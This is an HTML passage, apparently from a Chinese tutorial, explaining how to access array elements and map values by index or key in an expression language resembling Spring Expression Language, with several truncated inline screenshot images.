<span class=hljs-keyword>public</span> String[] stratt = <span class=hljs-keyword>new</span> String[]{<span class=hljs-string>"1"</span>, <span class=hljs-string>"2"</span>, <span class=hljs-string>"3"</span>};
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=25>同样的对于前文的<code>root</code>和<code>非root</code>节点,只需要分别用以下表达式去访问<br>
|
||||
root:stratt[1]读取<br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
非root:#people1.stratt[2]<br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
也可以用Java中类似的方式新建数组并且访问:<br>
|
||||
<code>new java.lang.String[]{"a","b","c"}[1]</code><br>
|
||||
<code>new String[]{"a","b","c"}[2]</code><br>
|
||||
这两种方法都是可以的。<br>
|
||||
<img src=data:image/png;base64,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 truncated
|
||||
Map同理,可以使用key的值来直接访问value<br>
|
||||
<code>#{"A":"a","B":"b","C":"c"}["B"]</code><br>
|
||||
<img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA3EAAADRCAYAAABigDs/AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOy9d1xUV974/753ZmAAgWEoEkCcwbGmahTQ5EmxJtns6q6aaopKM3m+KcaCuptsigpqyjZFQE3P2jYmu0mMJW03EdSYYmKJAzPSROoMCAxTf3/MADM0Ac3u73me+369Jq/Ivefecz7ncz6nfc7nCoALCQkJCQkJCQkJCQkJif8RyCckTvpP50FCQkJCQkJCQkJCQkKij4j/6QxISEhISEhISEhISEhI9B1pEichISEhISEhISEhIfE/CPl/OgMS//sQBBFRFBAEwX3gsuM/EhISEhISEhISEhKXiDSJk7hsiKKIKIo4HHaaLrTQ1NKC02bH4XJgt9sRBOE/nUUJCQkJCQkJCQmJ//FIkziJS0YURWQyGZaWFkz1JppbW5DJRERBRBAERFHE39//srxLQNrTk5